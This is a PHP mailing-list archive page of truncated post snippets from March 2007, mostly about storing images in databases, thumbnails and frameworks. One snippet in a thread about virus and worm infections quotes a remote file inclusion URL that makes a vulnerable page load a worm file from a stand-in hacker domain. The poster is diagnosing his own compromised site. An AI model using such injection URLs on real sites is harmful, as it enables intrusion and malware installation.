Re: [PHP] problems with thumbnail image

2007-03-02 Thread Punit Neb
On Friday 02 March 2007 21:59, Roberto Mansfield wrote: > The problem is that your function generates thumbnail and then tries to > return the binary image within the html document. Html contains *links* > to images, not the images themselves. So you need to do something like > this: > > > > Then

Re: [PHP] Re: how to display images stored in DB*

2007-03-02 Thread Robert Cummings
On Fri, 2007-03-02 at 22:53 -0500, markw@mohawksoft.com wrote: > > On Fri, 2007-03-02 at 17:31 -0500, markw@mohawksoft.com wrote: > >> > Your claim is that in ALL cases using a file system to store images > >> > is preferable to using a database. As such, you claim that using a dB > >> > for storin

Re: [PHP] Re: how to display images stored in DB*

2007-03-02 Thread markw
> On Fri, 2007-03-02 at 17:31 -0500, markw@mohawksoft.com wrote: >> > Your claim is that in ALL cases using a file system to store images >> > is preferable to using a database. As such, you claim that using a dB >> > for storing images is "bad" practice. >> >> That is fairly close to my profession

Re: [PHP] best framework (pear vs zend framework)

2007-03-02 Thread Kevin Waterson
This one time, at band camp, "Marco Sottana" <[EMAIL PROTECTED]> wrote: > which is the best framework ? pear or zend framework? None of the above... -- "Democracy is two wolves and a lamb voting on what to have for lunch. Liberty is a well-armed lamb contesting the vote." -- PHP General Mail

Re: [PHP] Re: how to display images stored in DB*

2007-03-02 Thread Robert Cummings
On Fri, 2007-03-02 at 17:31 -0500, markw@mohawksoft.com wrote: > > Your claim is that in ALL cases using a file system to store images > > is preferable to using a database. As such, you claim that using a dB > > for storing images is "bad" practice. > > That is fairly close to my professional opi

Re: [PHP] Re: how to display images stored in DB*

2007-03-02 Thread markw
>> It is funny, but most people don't get the fact that SQL databases are >> not >> the best way to store data. They are designed to select algebraic >> relationships from a data set. They are designed to ensure accuracy of >> the >> relationships and the integrity of the data. > > Like blobs in se

Re: [PHP] Re: how to display images stored in DB

2007-03-02 Thread markw
>> > I'm making assumptions about the layout again. The database will >> > likely already have the table files opened, but will need a seek to >> > get the data. The webserver will have to do an additional seek (I was >> > assuming on a far slower drive system, and likely twice for stat and >> > re

Re: [PHP] Re: how to display images stored in DB

2007-03-02 Thread Børge Holen
On Saturday 03 March 2007 00:00, Roman Neuhauser wrote: > # [EMAIL PROTECTED] / 2007-03-02 21:37:48 +0100: > > However... 6000 small files (and a sub if obliged) I cannot see one heck > > of a good reason NOT to hold storage in a database... Imagine the rotten > > backup cyclus. > > I cannot imagin

[PHP] Re: Your input would be appreciated.

2007-03-02 Thread Haydar TUNA
Hello, In some questions, you can use combobox for easiest data analysis such as countries . except this, it's very good survey:) -- Haydar TUNA Republic Of Turkey - Ministry of National Education Education Technology Department Ankara / TURKEY Web: http://www.haydartuna.net <[EMAIL PROTE

Re: [PHP] Re: how to display images stored in DB

2007-03-02 Thread Roman Neuhauser
# [EMAIL PROTECTED] / 2007-03-02 21:37:48 +0100: > However... 6000 small files (and a sub if obliged) I cannot see one heck of a > good reason NOT to hold storage in a database... Imagine the rotten backup > cyclus. I cannot imagine it. What was the problem? -- How many Vietnam vets does it t

Re: [PHP] Re: how to display images stored in DB

2007-03-02 Thread steve
> I'm making assumptions about the layout again. The database will > likely already have the table files opened, but will need a seek to > get the data. The webserver will have to do an additional seek (I was > assuming on a far slower drive system, and likely twice for stat and > read). I'm not

Re: [PHP] Re: how to display images stored in DB*

2007-03-02 Thread steve
It is funny, but most people don't get the fact that SQL databases are not the best way to store data. They are designed to select algebraic relationships from a data set. They are designed to ensure accuracy of the relationships and the integrity of the data. Like blobs in separate files, this

Re: [PHP] Re: how to display images stored in DB

2007-03-02 Thread markw
>> > Not in my environment. All db servers have RAID 10 over 8 SCSI 15K >> > disks. Pulling from them is always faster than a webserver pulling >> > from its SATA drive. >> >> That's not exactly an apples to apples comparison. > > That is true, and sort of the point. Not really, anything that you

Re: [PHP] Re: how to display images stored in DB*

2007-03-02 Thread markw
>> > At 10:01 AM -0500 3/1/07, markw@mohawksoft.com wrote: >> >>> If you are open to honestly consider, then I shall provide a couple >>> of examples. But if I do and you do not agree, then your only >>> recourse will be to *prove* otherwise. >>> >>> So, what say you? >> >>Absolutely, I'm all

[PHP] Using mysqli_stmt_bind_param in a class - with variable parameters?

2007-03-02 Thread Christian Heinrich
Hi all, I would like to ask you if anyone of you ever did something like that or might tell me how to do this. I am currently switching from PHP4 to PHP5 and mySQL4 to mySQL5. On account of this, I would like to use the improvements of ext/mysqli instead of the old ext/mysql. So I need to do

Re: [PHP] Re: how to display images stored in DB

2007-03-02 Thread steve
> But storing them in the DB invariably ends up with too many issues > involving DB storage size and query buffer size, compounded by data > escaping/security issues. This on the other hand... I'm a newbie, whatever your saying, BUT and it is a big one; The data has to be escaped anyway, the bina

Re: [PHP] Re: how to display images stored in DB

2007-03-02 Thread Børge Holen
On Friday 02 March 2007 21:13, tedd wrote: > At 7:52 PM +0100 3/2/07, Børge Holen wrote: > >On Thursday 01 March 2007 22:24, Richard Lynch wrote: > > > I believe that for a newbie, it would be easier to use the filesystem > >> > >> rather than the DB. > > > >THAT on the other hand is BS! not to j

Re: [PHP] Re: how to display images stored in DB

2007-03-02 Thread tedd
At 7:52 PM +0100 3/2/07, Børge Holen wrote: On Thursday 01 March 2007 22:24, Richard Lynch wrote: > I believe that for a newbie, it would be easier to use the filesystem rather than the DB. THAT on the other hand is BS! not to jerk around with you, but no and HELL no. Storing in the databas

Re: [PHP] Re: how to display images stored in DB*

2007-03-02 Thread tedd
At 1:49 PM -0500 3/2/07, Brad Bonkoski wrote: Overall this has been a cool and interesting thread. For the most part, I would say I side with Mark, but again the fatal flaw appears to be the insistence that one approach is right in 100% of the time...which 99% of the time is false. -B Brad

Re: [PHP] Combining sound files

2007-03-02 Thread tedd
At 1:37 PM -0500 3/2/07, tedd wrote: At 5:28 PM -0600 2/27/07, Richard Lynch wrote: You may find it easier/faster to just locate a .wav splicer command line tool and run exec with it. Though perhaps not nearly as fun, depending on your definition of fun. Richard: Nah, it's easier to bit twid

Re: [PHP] Re: how to display images stored in DB

2007-03-02 Thread Børge Holen
On Friday 02 March 2007 14:48, tedd wrote: > At 5:24 PM -0600 3/1/07, Richard Lynch wrote: > >On Wed, February 28, 2007 6:41 pm, Robert Cummings wrote: > >> What about when you need to share those files across a 50 node > >> network? > >> I'd keep it in a database, then when I need it cache a lo

Re: [PHP] Re: Question on virus/worms

2007-03-02 Thread Stut
Seak, Teng-Fong wrote: But after I've spent some time reading the log files, I've finally found out how the hackers managed to achieve worm infiltration. Actually, they're using an URL like this: http://my-domain.com/index.php?page=http://hacker-domain.com/some-worm-file.txt? And th

Re: [PHP] Re: how to display images stored in DB

2007-03-02 Thread Børge Holen
On Thursday 01 March 2007 22:24, Richard Lynch wrote: > I have reflected upon this thread for awhile now. > > I believe that the only "new" thing I have to add is for newbies. > > I believe that for a newbie, it would be easier to use the filesystem > rather than the DB. THAT on the other hand is

Re: [PHP] Re: how to display images stored in DB*

2007-03-02 Thread Robert Cummings
On Fri, 2007-03-02 at 13:49 -0500, Brad Bonkoski wrote: > > Overall this has been a cool and interesting thread. For the most part, > I would say I side with Mark, but again the fatal flaw appears to be the > insistence that one approach is right in 100% of the time...which 99% of > the time is

Re: [PHP] Re: how to display images stored in DB

2007-03-02 Thread tedd
At 10:28 AM -0800 3/2/07, steve wrote: Putting the files in the DB doesn't always remove extra cleanup/management stuff. Sometimes the database stores binary objects as files and sometimes they don't get deleted correctly. I'm dying to know what database you are using that puts every blob in a

[PHP] RE: [PHP-WIN] Re: Question on virus/worms

2007-03-02 Thread Bill Bolte
Turn off all error reporting (in php.ini) so that the error isn't pushed to the screen. -Original Message- From: Seak, Teng-Fong [mailto:[EMAIL PROTECTED] Sent: Friday, March 02, 2007 12:16 PM To: php-windows@lists.php.net; php-general@lists.php.net Subject: [PHP-WIN] Re: Question on vir

Re: [PHP] Re: how to display images stored in DB*

2007-03-02 Thread Brad Bonkoski
For the record, I will *never* say one size fits all in the realm of computer programming... Consideration 2 If your project is to supply images across several web servers on different host, then you are caught in a sync problem. Images stored in a file system must be stored on a local host

Re: [PHP] Combining sound files

2007-03-02 Thread tedd
At 5:28 PM -0600 2/27/07, Richard Lynch wrote: You may find it easier/faster to just locate a .wav splicer command line tool and run exec with it. Though perhaps not nearly as fun, depending on your definition of fun. Richard: Nah, it's easier to bit twiddle the sound files and I found an eas

[PHP] advise on consulting fees

2007-03-02 Thread John
This may be deviating a bit from the intent of the list, and someone feel free to say so if the list shouldn't be used for this. My apologies in advance if that is the case. This is NOT a self-advertisement! My question is regarding the "going rate" for software development consulting - Cu

Re: [PHP] best framework (pear vs zend framework)

2007-03-02 Thread steve
There is PRADO. On 3/1/07, Larry Garfield <[EMAIL PROTECTED]> wrote: On Thursday 01 March 2007 3:17 am, Edward Kay wrote: > Personally, I like Qcodo (http://www.qcodo.com) - but only because it fits > with both my mindset and the applications I'm developing at the moment. > > Edward I looked i

Re: [PHP] auction scripts?

2007-03-02 Thread tedd
At 6:54 PM -0500 3/1/07, Lisa A wrote: I wasn't even aware of anything but Ebay, but the client has seen sites that have online bidding. I just wanted to see what was out there, because I didn't have a clue and don't have the time to spend on creating something, unless there was software out the

Re: [PHP] Re: how to display images stored in DB

2007-03-02 Thread steve
> Not in my environment. All db servers have RAID 10 over 8 SCSI 15K > disks. Pulling from them is always faster than a webserver pulling > from its SATA drive. That's not exactly an apples to apples comparison. That is true, and sort of the point. However, the whole thing started because some

Re: [PHP] Re: how to display images stored in DB*

2007-03-02 Thread tedd
> At 10:01 AM -0500 3/1/07, markw@mohawksoft.com wrote: If you are open to honestly consider, then I shall provide a couple of examples. But if I do and you do not agree, then your only recourse will be to *prove* otherwise. So, what say you? Absolutely, I'm all about computer science. G

[PHP] Re: Question on virus/worms

2007-03-02 Thread Seak, Teng-Fong
Robert Cummings wrote: > Did you bother to google any of them? I just punched PHP/BackDoor.gen > into Google and got a wealth of information. Yes, of course! But what I can see there aren't far from useless (cf what I write below). Stut wrote: > Seak, Teng-Fong wrote: >> PHP/Chaploit > http:/

Re: [PHP] problems with thumbnail image

2007-03-02 Thread Roberto Mansfield
> I have used this method for generating the thumbnail images. I avoided > creating the thumbnails and saving to the disk as the images change very > frequently. > > Thank you so much for helping me with this one:)) > > regards > Punit Neb The problem is that your function generates thumbnail

Re: [PHP] Re: how to display images stored in DB

2007-03-02 Thread Robert Cummings
On Fri, 2007-03-02 at 11:01 -0500, markw@mohawksoft.com wrote: I'm going to mostly skip your drivel... and cut straight to a short comment and an example proving the invalidity of your general argument that the filesystem is always a better place to store image content. > > There we go... you onl

RE: [PHP] Re: how to display images stored in DB

2007-03-02 Thread markw
>> I highly recommend a dark ale or two >> to bring down the core temperature :) A good Zinfendel, sit back and relax. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Re: how to display images stored in DB

2007-03-02 Thread markw
> On Thu, 2007-03-01 at 19:42 -0500, markw@mohawksoft.com wrote: >> > On Thu, 2007-03-01 at 21:08 +0100, Roman Neuhauser wrote: >> >> # [EMAIL PROTECTED] / 2007-03-01 12:46:09 -0500: >> >> > At 10:01 AM -0500 3/1/07, markw@mohawksoft.com wrote: >> >> > >In this discussion I have stated reasons why

Re: [PHP] Help! I cannot send e-mail to your mail groups

2007-03-02 Thread Haydar Tuna
:) -- Haydar TUNA Republic Of Turkey - Ministry of National Education Education Technology Department Ankara / TURKEY Web: http://www.haydartuna.net ""Haydar Tuna"" <[EMAIL PROTECTED]> wrote in message news:[EMAIL PROTECTED] Hello Again, If I send e-mail to your group, I have an error m

Re: [PHP] Re: how to display images stored in DB

2007-03-02 Thread tedd
At 5:24 PM -0600 3/1/07, Richard Lynch wrote: On Wed, February 28, 2007 6:41 pm, Robert Cummings wrote: What about when you need to share those files across a 50 node network? I'd keep it in a database, then when I need it cache a local copy on the filesystem. Then I can just check the time

RE: [PHP] Re: how to display images stored in DB

2007-03-02 Thread Tim
> I highly recommend a dark ale or two > to bring down the core temperature :) Amen! -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Re: how to display images stored in DB

2007-03-02 Thread Robert Cummings
On Thu, 2007-03-01 at 19:42 -0500, markw@mohawksoft.com wrote: > > On Thu, 2007-03-01 at 21:08 +0100, Roman Neuhauser wrote: > >> # [EMAIL PROTECTED] / 2007-03-01 12:46:09 -0500: > >> > At 10:01 AM -0500 3/1/07, markw@mohawksoft.com wrote: > >> > >In this discussion I have stated reasons why it is

Re: [PHP] rich html emailer

2007-03-02 Thread clive
Ross wrote: Is there a php/javascript class that can do this? Php cannot do dialogs (alert popups) and as you mentioned javascript why are you posting this to a php list. clive. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Re: Fw: [PHP] Help! I cannot send e-mail to your mail groups

2007-03-02 Thread Németh Zoltán
2007. 03. 2, péntek keltezéssel 13.42-kor Haydar Tuna ezt írta: > Hello Again, >If I send e-mail to your group, I have an error message below. There > aren't any network problems. I try to send mail different places but I get > same error message. May be, you can restrict Turkish IP addre

Re: [PHP] problems with thumbnail image

2007-03-02 Thread Punit Neb
On Friday 02 March 2007 15:48, Németh Zoltán wrote: Many thanks Németh Zoltán for the prompt response. > 2007. 03. 2, péntek keltezéssel 13.56-kor Punit Neb ezt írta: > > hello, > > > > I am a newbie trying to create on the fly thumbnail images on a debian > > sarge system with PHP Version 4.3.9-1

Fw: [PHP] Help! I cannot send e-mail to your mail groups

2007-03-02 Thread Haydar Tuna
Hello Again, If I send e-mail to your group, I have an error message below. There aren't any network problems. I try to send mail different places but I get same error message. May be, you can restrict Turkish IP address blocks becuase I haven't see any message from Turkey recently in you

RE: [PHP] rich html emailer

2007-03-02 Thread Edward Kay
> Hi, > > I have created a basic HTML emailer with PHP where the body is > created and > text is inserted via a text area. > > Now I would like to expand this so the client can put in live URL > and mailto > links. I can use htmlentities() to do this but I would also like a button > that allow th

[PHP] rich html emailer

2007-03-02 Thread Ross
Hi, I have created a basic HTML emailer with PHP where the body is created and text is inserted via a text area. Now I would like to expand this so the client can put in live URL and mailto links. I can use htmlentities() to do this but I would also like a button that allow them to enter it t

Re: [PHP] Help! I cannot send e-mail to your mail groups

2007-03-02 Thread Németh Zoltán
2007. 03. 2, péntek keltezéssel 09.57-kor Haydar Tuna ezt írta: > Hello, > I have been Linux user for 7 years and I have been membership of Linux > Community group for 3 years in Turkey. As you know, linux users share all of > experiences and knownledges and I'm writing a book about PHP. I'm a PH

Re: [PHP] problems with thumbnail image

2007-03-02 Thread Németh Zoltán
2007. 03. 2, péntek keltezéssel 13.56-kor Punit Neb ezt írta: > hello, > > I am a newbie trying to create on the fly thumbnail images on a debian sarge > system with PHP Version 4.3.9-1. > > The following code is used > function thumbnail_img($photo_img_name) > { > $percent = 0.5; > li

Re: [PHP] PDF Overflow

2007-03-02 Thread Holger Blasum
On 02-28, Eddie Schnell wrote: > I am writing a PHP file that outputs a PDF file that will have a bunch > of data from the data base. After the ammount of data hits 24 pieces(23 > with 0) i need it to go to a new page. I am using the PDFB Library which > contains a custom barcode thing, FPDI+FPD

[PHP] problems with thumbnail image

2007-03-02 Thread Punit Neb
hello, I am a newbie trying to create on the fly thumbnail images on a debian sarge system with PHP Version 4.3.9-1. The following code is used '; print ''; print ''; print 'Image'; print ''; print ''; //image file name $photo_img_name='./photos/1.png'; //display ori